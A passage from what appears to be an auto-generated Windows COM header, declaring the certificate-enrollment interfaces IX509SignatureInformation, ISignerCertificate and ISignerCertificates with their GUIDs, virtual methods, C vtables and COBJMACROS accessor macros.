(This)->lpVtbl -> RemoveFromCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n#define ICertPropertyEnrollmentPolicyServer_SetValueOnCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> SetValueOnCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n\n#define ICertPropertyEnrollmentPolicyServer_Initialize(This,PropertyFlags,AuthFlags,EnrollmentServerAuthFlags,UrlFlags,strRequestId,strUrl,strId,strEnrollmentServerUrl)\t\\\n    ( (This)->lpVtbl -> Initialize(This,PropertyFlags,AuthFlags,EnrollmentServerAuthFlags,UrlFlags,strRequestId,strUrl,strId,strEnrollmentServerUrl) ) \n\n#define ICertPropertyEnrollmentPolicyServer_GetPolicyServerUrl(This,pValue)\t\\\n    ( (This)->lpVtbl -> GetPolicyServerUrl(This,pValue) ) \n\n#define ICertPropertyEnrollmentPolicyServer_GetPolicyServerId(This,pValue)\t\\\n    ( (This)->lpVtbl -> GetPolicyServerId(This,pValue) ) \n\n#define ICertPropertyEnrollmentPolicyServer_GetEnrollmentServerUrl(This,pValue)\t\\\n    ( (This)->lpVtbl -> GetEnrollmentServerUrl(This,pValue) ) \n\n#define ICertPropertyEnrollmentPolicyServer_GetRequestIdString(This,pValue)\t\\\n    ( (This)->lpVtbl -> GetRequestIdString(This,pValue) ) \n\n#define ICertPropertyEnrollmentPolicyServer_GetPropertyFlags(This,pValue)\t\\\n    ( (This)->lpVtbl -> GetPropertyFlags(This,pValue) ) \n\n#define ICertPropertyEnrollmentPolicyServer_GetUrlFlags(This,pValue)\t\\\n    ( (This)->lpVtbl -> GetUrlFlags(This,pValue) ) \n\n#define ICertPropertyEnrollmentPolicyServer_GetAuthentication(This,pValue)\t\\\n    ( (This)->lpVtbl -> GetAuthentication(This,pValue) ) \n\n#define ICertPropertyEnrollmentPolicyServer_GetEnrollmentServerAuthentication(This,pValue)\t\\\n    ( (This)->lpVtbl -> GetEnrollmentServerAuthentication(This,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __ICertPropertyEnrollmentPolicyServer_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509SignatureInformation_INTERFACE_DEFINED__\n#define __IX509SignatureInformation_INTERFACE_DEFINED__\n\n/* interface IX509SignatureInformation */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509SignatureInformation;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab33c-217d-11da-b2a4-000e7bbb2b09\")\n    IX509SignatureInformation : public IDispatch\n    {\n    public:\n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_HashAlgorithm( \n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_HashAlgorithm( \n            /* [in] */ __RPC__in_opt IObjectId *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_PublicKeyAlgorithm( \n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_PublicKeyAlgorithm( \n            /* [in] */ __RPC__in_opt IObjectId *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Parameters( \n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_Parameters( \n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_AlternateSignatureAlgorithm( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_AlternateSignatureAlgorithm( \n            /* [in] */ VARIANT_BOOL Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_AlternateSignatureAlgorithmSet( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_NullSigned( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_NullSigned( \n            /* [in] */ VARIANT_BOOL Value) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetSignatureAlgorithm( \n            /* [in] */ VARIANT_BOOL Pkcs7Signature,\n            /* [in] */ VARIANT_BOOL SignatureKey,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE SetDefaultValues( void) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509SignatureInformationVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509SignatureInformation * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509SignatureInformation * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509SignatureInformation * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509SignatureInformation * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509SignatureInformation * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509SignatureInformation * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509SignatureInformation * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_HashAlgorithm )( \n            __RPC__in IX509SignatureInformation * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_HashAlgorithm )( \n            __RPC__in IX509SignatureInformation * This,\n            /* [in] */ __RPC__in_opt IObjectId *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_PublicKeyAlgorithm )( \n            __RPC__in IX509SignatureInformation * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_PublicKeyAlgorithm )( \n            __RPC__in IX509SignatureInformation * This,\n            /* [in] */ __RPC__in_opt IObjectId *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Parameters )( \n            __RPC__in IX509SignatureInformation * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_Parameters )( \n            __RPC__in IX509SignatureInformation * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_AlternateSignatureAlgorithm )( \n            __RPC__in IX509SignatureInformation * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_AlternateSignatureAlgorithm )( \n            __RPC__in IX509SignatureInformation * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_AlternateSignatureAlgorithmSet )( \n            __RPC__in IX509SignatureInformation * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_NullSigned )( \n            __RPC__in IX509SignatureInformation * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_NullSigned )( \n            __RPC__in IX509SignatureInformation * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetSignatureAlgorithm )( \n            __RPC__in IX509SignatureInformation * This,\n            /* [in] */ VARIANT_BOOL Pkcs7Signature,\n            /* [in] */ VARIANT_BOOL SignatureKey,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *SetDefaultValues )( \n            __RPC__in IX509SignatureInformation * This);\n        \n        END_INTERFACE\n    } IX509SignatureInformationVtbl;\n\n    interface IX509SignatureInformation\n    {\n        CONST_VTBL struct IX509SignatureInformationVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509SignatureInformation_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509SignatureInformation_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509SignatureInformation_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509SignatureInformation_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509SignatureInformation_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509SignatureInformation_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509SignatureInformation_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509SignatureInformation_get_HashAlgorithm(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_HashAlgorithm(This,ppValue) ) \n\n#define IX509SignatureInformation_put_HashAlgorithm(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_HashAlgorithm(This,pValue) ) \n\n#define IX509SignatureInformation_get_PublicKeyAlgorithm(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_PublicKeyAlgorithm(This,ppValue) ) \n\n#define IX509SignatureInformation_put_PublicKeyAlgorithm(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_PublicKeyAlgorithm(This,pValue) ) \n\n#define IX509SignatureInformation_get_Parameters(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_Parameters(This,Encoding,pValue) ) \n\n#define IX509SignatureInformation_put_Parameters(This,Encoding,Value)\t\\\n    ( (This)->lpVtbl -> put_Parameters(This,Encoding,Value) ) \n\n#define IX509SignatureInformation_get_AlternateSignatureAlgorithm(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_AlternateSignatureAlgorithm(This,pValue) ) \n\n#define IX509SignatureInformation_put_AlternateSignatureAlgorithm(This,Value)\t\\\n    ( (This)->lpVtbl -> put_AlternateSignatureAlgorithm(This,Value) ) \n\n#define IX509SignatureInformation_get_AlternateSignatureAlgorithmSet(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_AlternateSignatureAlgorithmSet(This,pValue) ) \n\n#define IX509SignatureInformation_get_NullSigned(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_NullSigned(This,pValue) ) \n\n#define IX509SignatureInformation_put_NullSigned(This,Value)\t\\\n    ( (This)->lpVtbl -> put_NullSigned(This,Value) ) \n\n#define IX509SignatureInformation_GetSignatureAlgorithm(This,Pkcs7Signature,SignatureKey,ppValue)\t\\\n    ( (This)->lpVtbl -> GetSignatureAlgorithm(This,Pkcs7Signature,SignatureKey,ppValue) ) \n\n#define IX509SignatureInformation_SetDefaultValues(This)\t\\\n    ( (This)->lpVtbl -> SetDefaultValues(This) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509SignatureInformation_INTERFACE_DEFINED__ */\n\n\n#ifndef __ISignerCertificate_INTERFACE_DEFINED__\n#define __ISignerCertificate_INTERFACE_DEFINED__\n\n/* interface ISignerCertificate */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_ISignerCertificate;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab33d-217d-11da-b2a4-000e7bbb2b09\")\n    ISignerCertificate : public IDispatch\n    {\n    public:\n        virtual /* [custom] */ HRESULT STDMETHODCALLTYPE Initialize( \n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ X509PrivateKeyVerify VerifyType,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Certificate( \n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_PrivateKey( \n            /* [retval][out] */ __RPC__deref_out_opt IX509PrivateKey **ppValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Silent( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_Silent( \n            /* [in] */ VARIANT_BOOL Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_ParentWindow( \n            /* [retval][out] */ __RPC__out LONG *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_ParentWindow( \n            /* [in] */ LONG Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_UIContextMessage( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_UIContextMessage( \n            /* [in] */ __RPC__in BSTR Value) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_Pin( \n            /* [in] */ __RPC__in BSTR Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_SignatureInformation( \n            /* [retval][out] */ __RPC__deref_out_opt IX509SignatureInformation **ppValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct ISignerCertificateVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in ISignerCertificate * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in ISignerCertificate * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in ISignerCertificate * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in ISignerCertificate * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in ISignerCertificate * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in ISignerCertificate * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            ISignerCertificate * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in ISignerCertificate * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ X509PrivateKeyVerify VerifyType,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Certificate )( \n            __RPC__in ISignerCertificate * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_PrivateKey )( \n            __RPC__in ISignerCertificate * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509PrivateKey **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Silent )( \n            __RPC__in ISignerCertificate * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_Silent )( \n            __RPC__in ISignerCertificate * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ParentWindow )( \n            __RPC__in ISignerCertificate * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_ParentWindow )( \n            __RPC__in ISignerCertificate * This,\n            /* [in] */ LONG Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_UIContextMessage )( \n            __RPC__in ISignerCertificate * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_UIContextMessage )( \n            __RPC__in ISignerCertificate * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_Pin )( \n            __RPC__in ISignerCertificate * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SignatureInformation )( \n            __RPC__in ISignerCertificate * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509SignatureInformation **ppValue);\n        \n        END_INTERFACE\n    } ISignerCertificateVtbl;\n\n    interface ISignerCertificate\n    {\n        CONST_VTBL struct ISignerCertificateVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define ISignerCertificate_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define ISignerCertificate_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define ISignerCertificate_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define ISignerCertificate_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define ISignerCertificate_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define ISignerCertificate_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define ISignerCertificate_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define ISignerCertificate_Initialize(This,MachineContext,VerifyType,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> Initialize(This,MachineContext,VerifyType,Encoding,strCertificate) ) \n\n#define ISignerCertificate_get_Certificate(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_Certificate(This,Encoding,pValue) ) \n\n#define ISignerCertificate_get_PrivateKey(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_PrivateKey(This,ppValue) ) \n\n#define ISignerCertificate_get_Silent(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Silent(This,pValue) ) \n\n#define ISignerCertificate_put_Silent(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Silent(This,Value) ) \n\n#define ISignerCertificate_get_ParentWindow(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ParentWindow(This,pValue) ) \n\n#define ISignerCertificate_put_ParentWindow(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ParentWindow(This,Value) ) \n\n#define ISignerCertificate_get_UIContextMessage(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_UIContextMessage(This,pValue) ) \n\n#define ISignerCertificate_put_UIContextMessage(This,Value)\t\\\n    ( (This)->lpVtbl -> put_UIContextMessage(This,Value) ) \n\n#define ISignerCertificate_put_Pin(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Pin(This,Value) ) \n\n#define ISignerCertificate_get_SignatureInformation(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_SignatureInformation(This,ppValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __ISignerCertificate_INTERFACE_DEFINED__ */\n\n\n#ifndef __ISignerCertificates_INTERFACE_DEFINED__\n#define __ISignerCertificates_INTERFACE_DEFINED__\n\n/* interface ISignerCertificates */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_ISignerCertificates;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab33e-217d-11da-b2a4-000e7bbb2b09\")\n    ISignerCertificates : public IDispatch\n    {\n    public:\n        virtual /* [helpstring][id][propget][custom] */ HRESULT STDMETHODCALLTYPE get_ItemByIndex( \n            /* [in] */ LONG Index,\n            /* [retval][out] */ __RPC__deref_out_opt ISignerCertificate **pVal) = 0;\n        \n        virtual /* [helpstring][id][propget][custom] */ HRESULT STDMETHODCALLTYPE get_Count( \n            /* [retval][out] */ __RPC__out long *pVal) = 0;\n        \n        virtual /* [restricted][helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get__NewEnum( \n            /* [retval][out] */ __RPC__deref_out_opt LPUNKNOWN *pVal) = 0;\n        \n        virtual /* [helpstring][id][custom] */ HRESULT STDMETHODCALLTYPE Add( \n            /* [in] */ __RPC__in_opt ISignerCertificate *pVal) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Remove( \n            /* [in] */ LONG Index) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Clear( void) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE Find( \n            /* [in] */ __RPC__in_opt ISignerCertificate *pSignerCert,\n            /* [retval][out] */ __RPC__out LONG *piSignerCert) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct ISignerCertificatesVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in ISignerCertificates * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in ISignerCertificates * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in ISignerCertificates * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in ISignerCertificates * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in ISignerCertificates * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in ISignerCertificates * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            ISignerCertificates * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        /* [helpstring][id][propget][custom] */ HRESULT ( STDMETHODCALLTYPE *get_ItemByIndex )( \n            __RPC__in ISignerCertificates * This,\n            /* [in] */ LONG Index,\n            /* [retval][out] */ __RPC__deref_out_opt ISignerCertificate **pVal);\n        \n        /* [helpstring][id][propget][custom] */ HRESULT ( STDMETHODCALLTYPE *get_Count )( \n            __RPC__in ISignerCertificates * This,\n            /* [retval][out] */ __RPC__out long *pVal);\n        \n        /* [restricted][helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get__NewEnum )( \n            __RPC__in ISignerCertificates * This,\n            /* [retval][out] */ __RPC__deref_out_opt LPUNKNOWN *pVal);\n        \n        /* [helpstring][id][custom] */ HRESULT ( STDMETHODCALLTYPE *Add )( \n            __RPC__in ISignerCertificates * This,\n            /* [in] */ __RPC__in_opt ISignerCertificate *pVal);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Remove )( \n            __RPC__in ISignerCertificates * This,\n            /* [in] */ LONG Index);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Clear )( \n            __RPC__in ISignerCertificates * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *Find )( \n            __RPC__in ISignerCertificates * This,\n            /* [in] */ __RPC__in_opt ISignerCertificate *pSignerCert,\n            /* [retval][out] */ __RPC__out LONG *piSignerCert);\n        \n        END_INTERFACE\n    } ISignerCertificatesVtbl;\n\n    interface ISignerCertificates\n    {\n        CONST_VTBL struct ISignerCertificatesVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define ISignerCertificates_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define ISignerCertificates_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define ISignerCertificates_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define ISignerCertificates_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define ISignerCertificates_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define ISignerCertificates_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define ISignerCertificates_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define ISignerCertificates_get_ItemByIndex(This,Index,pVal)\t\\\n    ( (This)->lpVtbl -> get_ItemByIndex(This,Index,pVal) ) \n\n#define ISignerCertificates_get_Count(This,pVal)\t\\\n    ( 